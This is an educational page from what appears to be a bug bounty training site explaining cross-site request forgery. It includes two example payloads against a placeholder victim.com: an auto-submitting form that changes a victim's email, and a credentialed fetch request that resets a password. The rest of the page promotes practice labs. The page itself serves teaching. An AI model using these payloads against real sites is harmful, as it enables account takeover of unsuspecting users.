CSRF

Medium

Cross-Site Request Forgery

Definition

Cross-Site Request Forgery (CSRF) is a vulnerability that lets an attacker trick an authenticated user's browser into sending unwanted requests to a web application. Because the browser automatically includes the session cookies, the application processes the request as if it were legitimate.

Impact

Changing the victim's email or passwordUnauthorized bank transfersChanging account settingsPosting content on the victim's behalfDeletion of user data

Examples

CSRF to change the email

If the victim visits this page while authenticated on victim.com, their browser will automatically send the session cookies, changing their email to the attacker's.

<!-- Attacker's malicious page -->
<html>
<body>
  <form action="https://victim.com/api/settings/email" method="POST" id="csrf-form">
    <input type="hidden" name="email" value="attacker@evil.com" />
  </form>
  <script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

CSRF with a JSON request (using fetch)

Some JSON endpoints are vulnerable if they don't validate the Content-Type strictly or don't require a CSRF token. The credentials: include attribute ensures the cookies are sent.

<!-- Bypass when the endpoint accepts Content-Type: text/plain -->
<script>
fetch('https://victim.com/api/change-password', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'text/plain'},
  body: JSON.stringify({password: 'hacked123'})
});
</script>

Practice CSRF with real labs

Apply what you've learned in safe environments based on real bug bounty reports.

See practice labs
2,482

hunters training

62

labs from real hacks

1,630

completions

$14,790

paid out for these bugs

11 flags captured this week·Real hacks from HackerOne · YesWeHack · Bugcrowd·No commitment·Free Academy
Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real hacks that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime